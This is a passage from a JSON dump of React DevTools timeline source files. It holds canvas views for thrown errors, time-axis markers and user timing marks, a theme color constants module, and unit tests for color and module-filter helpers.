EVENT_ROW_HEIGHT_FIXED - BORDER_SIZE,\n      },\n      size: {\n        width: frame.size.width,\n        height: BORDER_SIZE,\n      },\n    };\n    if (rectIntersectsRect(borderFrame, visibleArea)) {\n      const borderDrawableRect = intersectionOfRects(borderFrame, visibleArea);\n      context.fillStyle = COLORS.REACT_WORK_BORDER;\n      context.fillRect(\n        borderDrawableRect.origin.x,\n        borderDrawableRect.origin.y,\n        borderDrawableRect.size.width,\n        borderDrawableRect.size.height,\n      );\n    }\n  }\n\n  /**\n   * @private\n   */\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const {frame, onHover, visibleArea} = this;\n    if (!onHover) {\n      return;\n    }\n\n    const {location} = interaction.payload;\n    if (!rectContainsPoint(location, visibleArea)) {\n      onHover(null);\n      return;\n    }\n\n    const {\n      _profilerData: {thrownErrors},\n    } = this;\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n    const hoverTimestamp = positionToTimestamp(location.x, scaleFactor, frame);\n    const eventTimestampAllowance = widthToDuration(\n      REACT_EVENT_DIAMETER / 2,\n      scaleFactor,\n    );\n\n    // Because data ranges may overlap, we want to find the last intersecting item.\n    // This will always be the one on \"top\" (the one the user is hovering over).\n    for (let index = thrownErrors.length - 1; index >= 0; index--) {\n      const event = thrownErrors[index];\n      const {timestamp} = event;\n\n      if (\n        timestamp - eventTimestampAllowance <= hoverTimestamp &&\n        hoverTimestamp <= timestamp + eventTimestampAllowance\n      ) {\n        this.currentCursor = 'context-menu';\n        viewRefs.hoveredView = this;\n        onHover(event);\n        return;\n      }\n    }\n\n    onHover(null);\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/TimeAxisMarkersView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Rect, Size} from '../view-base';\n\nimport {\n  durationToWidth,\n  positioningScaleFactor,\n  positionToTimestamp,\n  timestampToPosition,\n} from './utils/positioning';\nimport {\n  View,\n  Surface,\n  rectIntersectsRect,\n  intersectionOfRects,\n} from '../view-base';\nimport {\n  COLORS,\n  INTERVAL_TIMES,\n  LABEL_SIZE,\n  FONT_SIZE,\n  MARKER_HEIGHT,\n  MARKER_TEXT_PADDING,\n  MARKER_TICK_HEIGHT,\n  MIN_INTERVAL_SIZE_PX,\n  BORDER_SIZE,\n} from './constants';\n\nconst HEADER_HEIGHT_FIXED = MARKER_HEIGHT + BORDER_SIZE;\nconst LABEL_FIXED_WIDTH = LABEL_SIZE + BORDER_SIZE;\n\nexport class TimeAxisMarkersView extends View {\n  _totalDuration: number;\n  _intrinsicSize: Size;\n\n  constructor(surface: Surface, frame: Rect, totalDuration: number) {\n    super(surface, frame);\n    this._totalDuration = totalDuration;\n    this._intrinsicSize = {\n      width: this._totalDuration,\n      height: HEADER_HEIGHT_FIXED,\n    };\n  }\n\n  desiredSize(): Size {\n    return this._intrinsicSize;\n  }\n\n  // Time mark intervals vary based on the current zoom range and the time it represents.\n  // In Chrome, these seem to range from 70-140 pixels wide.\n  // Time wise, they represent intervals of e.g. 1s, 500ms, 200ms, 100ms, 50ms, 20ms.\n  // Based on zoom, we should determine which amount to actually show.\n  _getTimeTickInterval(scaleFactor: number): number {\n    for (let i = 0; i < INTERVAL_TIMES.length; i++) {\n      const currentInterval = INTERVAL_TIMES[i];\n      const intervalWidth = durationToWidth(currentInterval, scaleFactor);\n      if (intervalWidth > MIN_INTERVAL_SIZE_PX) {\n        return currentInterval;\n      }\n    }\n    return INTERVAL_TIMES[0];\n  }\n\n  draw(context: CanvasRenderingContext2D) {\n    const {frame, _intrinsicSize, visibleArea} = this;\n    const clippedFrame = {\n      origin: frame.origin,\n      size: {\n        width: frame.size.width,\n        height: _intrinsicSize.height,\n      },\n    };\n    const drawableRect = intersectionOfRects(clippedFrame, visibleArea);\n\n    // Clear background\n    context.fillStyle = COLORS.BACKGROUND;\n    context.fillRect(\n      drawableRect.origin.x,\n      drawableRect.origin.y,\n      drawableRect.size.width,\n      drawableRect.size.height,\n    );\n\n    const scaleFactor = positioningScaleFactor(\n      _intrinsicSize.width,\n      clippedFrame,\n    );\n    const interval = this._getTimeTickInterval(scaleFactor);\n    const firstIntervalTimestamp =\n      Math.ceil(\n        positionToTimestamp(\n          drawableRect.origin.x - LABEL_FIXED_WIDTH,\n          scaleFactor,\n          clippedFrame,\n        ) / interval,\n      ) * interval;\n\n    for (\n      let markerTimestamp = firstIntervalTimestamp;\n      true;\n      markerTimestamp += interval\n    ) {\n      if (markerTimestamp <= 0) {\n        continue; // Timestamps < are probably a bug; markers at 0 are ugly.\n      }\n\n      const x = timestampToPosition(markerTimestamp, scaleFactor, clippedFrame);\n      if (x > drawableRect.origin.x + drawableRect.size.width) {\n        break; // Not in view\n      }\n\n      const markerLabel = Math.round(markerTimestamp);\n\n      context.fillStyle = COLORS.PRIORITY_BORDER;\n      context.fillRect(\n        x,\n        drawableRect.origin.y + MARKER_HEIGHT - MARKER_TICK_HEIGHT,\n        BORDER_SIZE,\n        MARKER_TICK_HEIGHT,\n      );\n\n      context.fillStyle = COLORS.TIME_MARKER_LABEL;\n      context.textAlign = 'right';\n      context.textBaseline = 'middle';\n      context.font = `${FONT_SIZE}px sans-serif`;\n      context.fillText(\n        `${markerLabel}ms`,\n        x - MARKER_TEXT_PADDING,\n        MARKER_HEIGHT / 2,\n      );\n    }\n\n    // Render bottom border.\n    // Propose border rect, check if intersects with `rect`, draw intersection.\n    const borderFrame: Rect = {\n      origin: {\n        x: clippedFrame.origin.x,\n        y: clippedFrame.origin.y + clippedFrame.size.height - BORDER_SIZE,\n      },\n      size: {\n        width: clippedFrame.size.width,\n        height: BORDER_SIZE,\n      },\n    };\n    if (rectIntersectsRect(borderFrame, visibleArea)) {\n      const borderDrawableRect = intersectionOfRects(borderFrame, visibleArea);\n      context.fillStyle = COLORS.PRIORITY_BORDER;\n      context.fillRect(\n        borderDrawableRect.origin.x,\n        borderDrawableRect.origin.y,\n        borderDrawableRect.size.width,\n        borderDrawableRect.size.height,\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/UserTimingMarksView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {UserTimingMark} from '../types';\nimport type {\n  Interaction,\n  MouseMoveInteraction,\n  Rect,\n  Size,\n  ViewRefs,\n} from '../view-base';\n\nimport {\n  positioningScaleFactor,\n  timestampToPosition,\n  positionToTimestamp,\n  widthToDuration,\n} from './utils/positioning';\nimport {\n  View,\n  Surface,\n  rectContainsPoint,\n  rectIntersectsRect,\n  intersectionOfRects,\n} from '../view-base';\nimport {\n  COLORS,\n  TOP_ROW_PADDING,\n  USER_TIMING_MARK_SIZE,\n  BORDER_SIZE,\n} from './constants';\n\nconst ROW_HEIGHT_FIXED =\n  TOP_ROW_PADDING + USER_TIMING_MARK_SIZE + TOP_ROW_PADDING;\n\nexport class UserTimingMarksView extends View {\n  _marks: UserTimingMark[];\n  _intrinsicSize: Size;\n\n  _hoveredMark: UserTimingMark | null = null;\n  onHover: ((mark: UserTimingMark | null) => void) | null = null;\n\n  constructor(\n    surface: Surface,\n    frame: Rect,\n    marks: UserTimingMark[],\n    duration: number,\n  ) {\n    super(surface, frame);\n    this._marks = marks;\n\n    this._intrinsicSize = {\n      width: duration,\n      height: ROW_HEIGHT_FIXED,\n    };\n  }\n\n  desiredSize(): Size {\n    return this._intrinsicSize;\n  }\n\n  setHoveredMark(hoveredMark: UserTimingMark | null) {\n    if (this._hoveredMark === hoveredMark) {\n      return;\n    }\n    this._hoveredMark = hoveredMark;\n    this.setNeedsDisplay();\n  }\n\n  /**\n   * Draw a single `UserTimingMark` as a circle in the canvas.\n   */\n  _drawSingleMark(\n    context: CanvasRenderingContext2D,\n    rect: Rect,\n    mark: UserTimingMark,\n    baseY: number,\n    scaleFactor: number,\n    showHoverHighlight: boolean,\n  ) {\n    const {frame} = this;\n    const {timestamp} = mark;\n\n    const x = timestampToPosition(timestamp, scaleFactor, frame);\n    const size = USER_TIMING_MARK_SIZE;\n    const halfSize = size / 2;\n\n    const markRect: Rect = {\n      origin: {\n        x: x - halfSize,\n        y: baseY,\n      },\n      size: {width: size, height: size},\n    };\n    if (!rectIntersectsRect(markRect, rect)) {\n      return; // Not in view\n    }\n\n    const fillStyle = showHoverHighlight\n      ? COLORS.USER_TIMING_HOVER\n      : COLORS.USER_TIMING;\n\n    if (fillStyle !== null) {\n      const y = baseY + halfSize;\n\n      context.beginPath();\n      context.fillStyle = fillStyle;\n      context.moveTo(x, y - halfSize);\n      context.lineTo(x + halfSize, y);\n      context.lineTo(x, y + halfSize);\n      context.lineTo(x - halfSize, y);\n      context.fill();\n    }\n  }\n\n  draw(context: CanvasRenderingContext2D) {\n    const {frame, _marks, _hoveredMark, visibleArea} = this;\n\n    context.fillStyle = COLORS.BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n\n    // Draw marks\n    const baseY = frame.origin.y + TOP_ROW_PADDING;\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n\n    _marks.forEach(mark => {\n      if (mark === _hoveredMark) {\n        return;\n      }\n      this._drawSingleMark(\n        context,\n        visibleArea,\n        mark,\n        baseY,\n        scaleFactor,\n        false,\n      );\n    });\n\n    // Draw the hovered and/or selected items on top so they stand out.\n    // This is helpful if there are multiple (overlapping) items close to each other.\n    if (_hoveredMark !== null) {\n      this._drawSingleMark(\n        context,\n        visibleArea,\n        _hoveredMark,\n        baseY,\n        scaleFactor,\n        true,\n      );\n    }\n\n    // Render bottom border.\n    // Propose border rect, check if intersects with `rect`, draw intersection.\n    const borderFrame: Rect = {\n      origin: {\n        x: frame.origin.x,\n        y: frame.origin.y + ROW_HEIGHT_FIXED - BORDER_SIZE,\n      },\n      size: {\n        width: frame.size.width,\n        height: BORDER_SIZE,\n      },\n    };\n    if (rectIntersectsRect(borderFrame, visibleArea)) {\n      const borderDrawableRect = intersectionOfRects(borderFrame, visibleArea);\n      context.fillStyle = COLORS.PRIORITY_BORDER;\n      context.fillRect(\n        borderDrawableRect.origin.x,\n        borderDrawableRect.origin.y,\n        borderDrawableRect.size.width,\n        borderDrawableRect.size.height,\n      );\n    }\n  }\n\n  /**\n   * @private\n   */\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const {frame, onHover, visibleArea} = this;\n    if (!onHover) {\n      return;\n    }\n\n    const {location} = interaction.payload;\n    if (!rectContainsPoint(location, visibleArea)) {\n      onHover(null);\n      return;\n    }\n\n    const {_marks} = this;\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n    const hoverTimestamp = positionToTimestamp(location.x, scaleFactor, frame);\n    const timestampAllowance = widthToDuration(\n      USER_TIMING_MARK_SIZE / 2,\n      scaleFactor,\n    );\n\n    // Because data ranges may overlap, we want to find the last intersecting item.\n    // This will always be the one on \"top\" (the one the user is hovering over).\n    for (let index = _marks.length - 1; index >= 0; index--) {\n      const mark = _marks[index];\n      const {timestamp} = mark;\n\n      if (\n        timestamp - timestampAllowance <= hoverTimestamp &&\n        hoverTimestamp <= timestamp + timestampAllowance\n      ) {\n        viewRefs.hoveredView = this;\n        onHover(mark);\n        return;\n      }\n    }\n\n    onHover(null);\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/constants.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const DPR: number = window.devicePixelRatio || 1;\nexport const LABEL_SIZE = 80;\nexport const MARKER_HEIGHT = 20;\nexport const MARKER_TICK_HEIGHT = 8;\nexport const FONT_SIZE = 10;\nexport const MARKER_TEXT_PADDING = 8;\nexport const COLOR_HOVER_DIM_DELTA = 5;\nexport const TOP_ROW_PADDING = 4;\nexport const NATIVE_EVENT_HEIGHT = 14;\nexport const SUSPENSE_EVENT_HEIGHT: number = 14;\nexport const PENDING_SUSPENSE_EVENT_SIZE = 8;\nexport const REACT_EVENT_DIAMETER = 6;\nexport const USER_TIMING_MARK_SIZE = 8;\nexport const REACT_MEASURE_HEIGHT = 14;\nexport const BORDER_SIZE = 1 / DPR;\nexport const FLAMECHART_FRAME_HEIGHT = 14;\nexport const TEXT_PADDING = 3;\nexport const SNAPSHOT_SCRUBBER_SIZE = 3;\n\nexport const INTERVAL_TIMES = [\n  1, 2, 5, 10, 20, 50, 100, 200, 500, 1000, 2000, 5000,\n];\nexport const MIN_INTERVAL_SIZE_PX = 70;\n\n// TODO Replace this with \"export let\" vars\nexport let COLORS: {\n  BACKGROUND: string,\n  INTERNAL_MODULE_FRAME: string,\n  INTERNAL_MODULE_FRAME_HOVER: string,\n  INTERNAL_MODULE_FRAME_TEXT: string,\n  NATIVE_EVENT: string,\n  NATIVE_EVENT_HOVER: string,\n  NETWORK_PRIMARY: string,\n  NETWORK_PRIMARY_HOVER: string,\n  NETWORK_SECONDARY: string,\n  NETWORK_SECONDARY_HOVER: string,\n  PRIORITY_BACKGROUND: string,\n  PRIORITY_BORDER: string,\n  PRIORITY_LABEL: string,\n  REACT_COMMIT: string,\n  REACT_COMMIT_HOVER: string,\n  REACT_COMMIT_TEXT: string,\n  REACT_IDLE: string,\n  REACT_IDLE_HOVER: string,\n  REACT_LAYOUT_EFFECTS: string,\n  REACT_LAYOUT_EFFECTS_HOVER: string,\n  REACT_LAYOUT_EFFECTS_TEXT: string,\n  REACT_PASSIVE_EFFECTS: string,\n  REACT_PASSIVE_EFFECTS_HOVER: string,\n  REACT_PASSIVE_EFFECTS_TEXT: string,\n  REACT_RENDER: string,\n  REACT_RENDER_HOVER: string,\n  REACT_RENDER_TEXT: string,\n  REACT_RESIZE_BAR: string,\n  REACT_RESIZE_BAR_ACTIVE: string,\n  REACT_RESIZE_BAR_BORDER: string,\n  REACT_RESIZE_BAR_DOT: string,\n  REACT_SCHEDULE: string,\n  REACT_SCHEDULE_HOVER: string,\n  REACT_SUSPENSE_REJECTED_EVENT: string,\n  REACT_SUSPENSE_REJECTED_EVENT_HOVER: string,\n  REACT_SUSPENSE_RESOLVED_EVENT: string,\n  REACT_SUSPENSE_RESOLVED_EVENT_HOVER: string,\n  REACT_SUSPENSE_UNRESOLVED_EVENT: string,\n  REACT_SUSPENSE_UNRESOLVED_EVENT_HOVER: string,\n  REACT_THROWN_ERROR: string,\n  REACT_THROWN_ERROR_HOVER: string,\n  REACT_WORK_BORDER: string,\n  SCROLL_CARET: string,\n  SCRUBBER_BACKGROUND: string,\n  SCRUBBER_BORDER: string,\n  SEARCH_RESULT_FILL: string,\n  TEXT_COLOR: string,\n  TEXT_DIM_COLOR: string,\n  TIME_MARKER_LABEL: string,\n  USER_TIMING: string,\n  USER_TIMING_HOVER: string,\n  WARNING_BACKGROUND: string,\n  WARNING_BACKGROUND_HOVER: string,\n  WARNING_TEXT: string,\n  WARNING_TEXT_INVERED: string,\n} = {\n  BACKGROUND: '',\n  INTERNAL_MODULE_FRAME: '',\n  INTERNAL_MODULE_FRAME_HOVER: '',\n  INTERNAL_MODULE_FRAME_TEXT: '',\n  NATIVE_EVENT: '',\n  NATIVE_EVENT_HOVER: '',\n  NETWORK_PRIMARY: '',\n  NETWORK_PRIMARY_HOVER: '',\n  NETWORK_SECONDARY: '',\n  NETWORK_SECONDARY_HOVER: '',\n  PRIORITY_BACKGROUND: '',\n  PRIORITY_BORDER: '',\n  PRIORITY_LABEL: '',\n  USER_TIMING: '',\n  USER_TIMING_HOVER: '',\n  REACT_IDLE: '',\n  REACT_IDLE_HOVER: '',\n  REACT_RENDER: '',\n  REACT_RENDER_HOVER: '',\n  REACT_RENDER_TEXT: '',\n  REACT_COMMIT: '',\n  REACT_COMMIT_HOVER: '',\n  REACT_COMMIT_TEXT: '',\n  REACT_LAYOUT_EFFECTS: '',\n  REACT_LAYOUT_EFFECTS_HOVER: '',\n  REACT_LAYOUT_EFFECTS_TEXT: '',\n  REACT_PASSIVE_EFFECTS: '',\n  REACT_PASSIVE_EFFECTS_HOVER: '',\n  REACT_PASSIVE_EFFECTS_TEXT: '',\n  REACT_RESIZE_BAR: '',\n  REACT_RESIZE_BAR_ACTIVE: '',\n  REACT_RESIZE_BAR_BORDER: '',\n  REACT_RESIZE_BAR_DOT: '',\n  REACT_SCHEDULE: '',\n  REACT_SCHEDULE_HOVER: '',\n  REACT_SUSPENSE_REJECTED_EVENT: '',\n  REACT_SUSPENSE_REJECTED_EVENT_HOVER: '',\n  REACT_SUSPENSE_RESOLVED_EVENT: '',\n  REACT_SUSPENSE_RESOLVED_EVENT_HOVER: '',\n  REACT_SUSPENSE_UNRESOLVED_EVENT: '',\n  REACT_SUSPENSE_UNRESOLVED_EVENT_HOVER: '',\n  REACT_THROWN_ERROR: '',\n  REACT_THROWN_ERROR_HOVER: '',\n  REACT_WORK_BORDER: '',\n  SCROLL_CARET: '',\n  SCRUBBER_BACKGROUND: '',\n  SCRUBBER_BORDER: '',\n  SEARCH_RESULT_FILL: '',\n  TEXT_COLOR: '',\n  TEXT_DIM_COLOR: '',\n  TIME_MARKER_LABEL: '',\n  WARNING_BACKGROUND: '',\n  WARNING_BACKGROUND_HOVER: '',\n  WARNING_TEXT: '',\n  WARNING_TEXT_INVERED: '',\n};\n\nexport function updateColorsToMatchTheme(element: Element): boolean {\n  const computedStyle = getComputedStyle(element);\n\n  // Check to see if styles have been initialized...\n  if (computedStyle.getPropertyValue('--color-background') == null) {\n    return false;\n  }\n\n  COLORS = {\n    BACKGROUND: computedStyle.getPropertyValue('--color-background'),\n    INTERNAL_MODULE_FRAME: computedStyle.getPropertyValue(\n      '--color-timeline-internal-module',\n    ),\n    INTERNAL_MODULE_FRAME_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-internal-module-hover',\n    ),\n    INTERNAL_MODULE_FRAME_TEXT: computedStyle.getPropertyValue(\n      '--color-timeline-internal-module-text',\n    ),\n    NATIVE_EVENT: computedStyle.getPropertyValue(\n      '--color-timeline-native-event',\n    ),\n    NATIVE_EVENT_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-native-event-hover',\n    ),\n    NETWORK_PRIMARY: computedStyle.getPropertyValue(\n      '--color-timeline-network-primary',\n    ),\n    NETWORK_PRIMARY_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-network-primary-hover',\n    ),\n    NETWORK_SECONDARY: computedStyle.getPropertyValue(\n      '--color-timeline-network-secondary',\n    ),\n    NETWORK_SECONDARY_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-network-secondary-hover',\n    ),\n    PRIORITY_BACKGROUND: computedStyle.getPropertyValue(\n      '--color-timeline-priority-background',\n    ),\n    PRIORITY_BORDER: computedStyle.getPropertyValue(\n      '--color-timeline-priority-border',\n    ),\n    PRIORITY_LABEL: computedStyle.getPropertyValue('--color-text'),\n    USER_TIMING: computedStyle.getPropertyValue('--color-timeline-user-timing'),\n    USER_TIMING_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-user-timing-hover',\n    ),\n    REACT_IDLE: computedStyle.getPropertyValue('--color-timeline-react-idle'),\n    REACT_IDLE_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-react-idle-hover',\n    ),\n    REACT_RENDER: computedStyle.getPropertyValue(\n      '--color-timeline-react-render',\n    ),\n    REACT_RENDER_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-react-render-hover',\n    ),\n    REACT_RENDER_TEXT: computedStyle.getPropertyValue(\n      '--color-timeline-react-render-text',\n    ),\n    REACT_COMMIT: computedStyle.getPropertyValue(\n      '--color-timeline-react-commit',\n    ),\n    REACT_COMMIT_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-react-commit-hover',\n    ),\n    REACT_COMMIT_TEXT: computedStyle.getPropertyValue(\n      '--color-timeline-react-commit-text',\n    ),\n    REACT_LAYOUT_EFFECTS: computedStyle.getPropertyValue(\n      '--color-timeline-react-layout-effects',\n    ),\n    REACT_LAYOUT_EFFECTS_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-react-layout-effects-hover',\n    ),\n    REACT_LAYOUT_EFFECTS_TEXT: computedStyle.getPropertyValue(\n      '--color-timeline-react-layout-effects-text',\n    ),\n    REACT_PASSIVE_EFFECTS: computedStyle.getPropertyValue(\n      '--color-timeline-react-passive-effects',\n    ),\n    REACT_PASSIVE_EFFECTS_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-react-passive-effects-hover',\n    ),\n    REACT_PASSIVE_EFFECTS_TEXT: computedStyle.getPropertyValue(\n      '--color-timeline-react-passive-effects-text',\n    ),\n    REACT_RESIZE_BAR: computedStyle.getPropertyValue('--color-resize-bar'),\n    REACT_RESIZE_BAR_ACTIVE: computedStyle.getPropertyValue(\n      '--color-resize-bar-active',\n    ),\n    REACT_RESIZE_BAR_BORDER: computedStyle.getPropertyValue(\n      '--color-resize-bar-border',\n    ),\n    REACT_RESIZE_BAR_DOT: computedStyle.getPropertyValue(\n      '--color-resize-bar-dot',\n    ),\n    REACT_SCHEDULE: computedStyle.getPropertyValue(\n      '--color-timeline-react-schedule',\n    ),\n    REACT_SCHEDULE_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-react-schedule-hover',\n    ),\n    REACT_SUSPENSE_REJECTED_EVENT: computedStyle.getPropertyValue(\n      '--color-timeline-react-suspense-rejected',\n    ),\n    REACT_SUSPENSE_REJECTED_EVENT_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-react-suspense-rejected-hover',\n    ),\n    REACT_SUSPENSE_RESOLVED_EVENT: computedStyle.getPropertyValue(\n      '--color-timeline-react-suspense-resolved',\n    ),\n    REACT_SUSPENSE_RESOLVED_EVENT_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-react-suspense-resolved-hover',\n    ),\n    REACT_SUSPENSE_UNRESOLVED_EVENT: computedStyle.getPropertyValue(\n      '--color-timeline-react-suspense-unresolved',\n    ),\n    REACT_SUSPENSE_UNRESOLVED_EVENT_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-react-suspense-unresolved-hover',\n    ),\n    REACT_THROWN_ERROR: computedStyle.getPropertyValue(\n      '--color-timeline-thrown-error',\n    ),\n    REACT_THROWN_ERROR_HOVER: computedStyle.getPropertyValue(\n      '--color-timeline-thrown-error-hover',\n    ),\n    REACT_WORK_BORDER: computedStyle.getPropertyValue(\n      '--color-timeline-react-work-border',\n    ),\n    SCROLL_CARET: computedStyle.getPropertyValue('--color-scroll-caret'),\n    SCRUBBER_BACKGROUND: computedStyle.getPropertyValue(\n      '--color-timeline-react-suspense-rejected',\n    ),\n    SEARCH_RESULT_FILL: computedStyle.getPropertyValue(\n      '--color-timeline-react-suspense-rejected',\n    ),\n    SCRUBBER_BORDER: computedStyle.getPropertyValue(\n      '--color-timeline-text-color',\n    ),\n    TEXT_COLOR: computedStyle.getPropertyValue('--color-timeline-text-color'),\n    TEXT_DIM_COLOR: computedStyle.getPropertyValue(\n      '--color-timeline-text-dim-color',\n    ),\n    TIME_MARKER_LABEL: computedStyle.getPropertyValue('--color-text'),\n    WARNING_BACKGROUND: computedStyle.getPropertyValue(\n      '--color-warning-background',\n    ),\n    WARNING_BACKGROUND_HOVER: computedStyle.getPropertyValue(\n      '--color-warning-background-hover',\n    ),\n    WARNING_TEXT: computedStyle.getPropertyValue('--color-warning-text-color'),\n    WARNING_TEXT_INVERED: computedStyle.getPropertyValue(\n      '--color-warning-text-color-inverted',\n    ),\n  };\n\n  return true;\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ComponentMeasuresView';\nexport * from './FlamechartView';\nexport * from './NativeEventsView';\nexport * from './NetworkMeasuresView';\nexport * from './ReactMeasuresView';\nexport * from './SchedulingEventsView';\nexport * from './SnapshotsView';\nexport * from './SuspenseEventsView';\nexport * from './ThrownErrorsView';\nexport * from './TimeAxisMarkersView';\nexport * from './UserTimingMarksView';\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/utils/__tests__/__modules__/module-one.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const outerErrorA = new Error();\n\nexport const moduleStartError = new Error();\nexport const innerError = new Error();\nexport const moduleStopError = new Error();\n\nexport const outerErrorB = new Error();\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/utils/__tests__/__modules__/module-two.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const moduleAStartError = new Error();\nexport const innerErrorA = new Error();\nexport const moduleAStopError = new Error();\n\nexport const outerError = new Error();\n\nexport const moduleBStartError = new Error();\nexport const innerErrorB = new Error();\nexport const moduleBStopError = new Error();\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/utils/__tests__/colors-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {hslaColorToString, dimmedColor, ColorGenerator} from '../colors';\n\ndescribe('hslaColorToString', () => {\n  it('should transform colors to strings', () => {\n    expect(hslaColorToString({h: 1, s: 2, l: 3, a: 4})).toEqual(\n      'hsl(1deg 2% 3% / 4)',\n    );\n    expect(hslaColorToString({h: 3.14, s: 6.28, l: 1.68, a: 100})).toEqual(\n      'hsl(3.14deg 6.28% 1.68% / 100)',\n    );\n  });\n});\n\ndescribe('dimmedColor', () => {\n  it('should dim luminosity using delta', () => {\n    expect(dimmedColor({h: 1, s: 2, l: 3, a: 4}, 3)).toEqual({\n      h: 1,\n      s: 2,\n      l: 0,\n      a: 4,\n    });\n    expect(dimmedColor({h: 1, s: 2, l: 3, a: 4}, -3)).toEqual({\n      h: 1,\n      s: 2,\n      l: 6,\n      a: 4,\n    });\n  });\n});\n\ndescribe('ColorGenerator', () => {\n  describe('colorForID', () => {\n    it('should generate a color for an ID', () => {\n      expect(new ColorGenerator().colorForID('123')).toMatchInlineSnapshot(`\n        {\n          \"a\": 1,\n          \"h\": 190,\n          \"l\": 80,\n          \"s\": 67,\n        }\n      `);\n    });\n\n    it('should generate colors deterministically given an ID', () => {\n      expect(new ColorGenerator().colorForID('id1')).toEqual(\n        new ColorGenerator().colorForID('id1'),\n      );\n      expect(new ColorGenerator().colorForID('id2')).toEqual(\n        new ColorGenerator().colorForID('id2'),\n      );\n    });\n\n    it('should generate different colors for different IDs', () => {\n      expect(new ColorGenerator().colorForID('id1')).not.toEqual(\n        new ColorGenerator().colorForID('id2'),\n      );\n    });\n\n    it('should return colors that have been set manually', () => {\n      const generator = new ColorGenerator();\n      const manualColor = {h: 1, s: 2, l: 3, a: 4};\n      generator.setColorForID('id with set color', manualColor);\n      expect(generator.colorForID('id with set color')).toEqual(manualColor);\n      expect(generator.colorForID('some other id')).not.toEqual(manualColor);\n    });\n\n    it('should generate colors from fixed color spaces', () => {\n      const generator = new ColorGenerator(1, 2, 3, 4);\n      expect(generator.colorForID('123')).toEqual({h: 1, s: 2, l: 3, a: 4});\n      expect(generator.colorForID('234')).toEqual({h: 1, s: 2, l: 3, a: 4});\n    });\n\n    it('should generate colors from range color spaces', () => {\n      const generator = new ColorGenerator(\n        {min: 0, max: 360, count: 2},\n        2,\n        3,\n        4,\n      );\n      expect(generator.colorForID('123')).toEqual({h: 0, s: 2, l: 3, a: 4});\n      expect(generator.colorForID('234')).toEqual({h: 360, s: 2, l: 3, a: 4});\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/utils/__tests__/moduleFilters-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {isInternalModule} from '../moduleFilters';\n\ndescribe('isInternalModule', () => {\n  let map;\n\n  function createFlamechartStackFrame(scriptUrl, locationLine, locationColumn) {\n    return {\n      name: 'test',\n      timestamp: 0,\n      duration: 1,\n      scriptUrl,\n      locationLine,\n      locationColumn,\n    };\n  }\n\n  function createStackFrame(fileName, lineNumber, columnNumber) {\n    return {\n      columnNumber: columnNumber,\n      lineNumber: lineNumber,\n      fileName: fileName,\n      functionName: 'test',\n      source: `    at test (${fileName}:${lineNumber}:${columnNumber})`,\n    };\n  }\n\n  beforeEach(() => {\n    map = new Map();\n    map.set('foo', [\n      [createStackFrame('foo', 10, 0), createStackFrame('foo', 15, 100)],\n    ]);\n    map.set('bar', 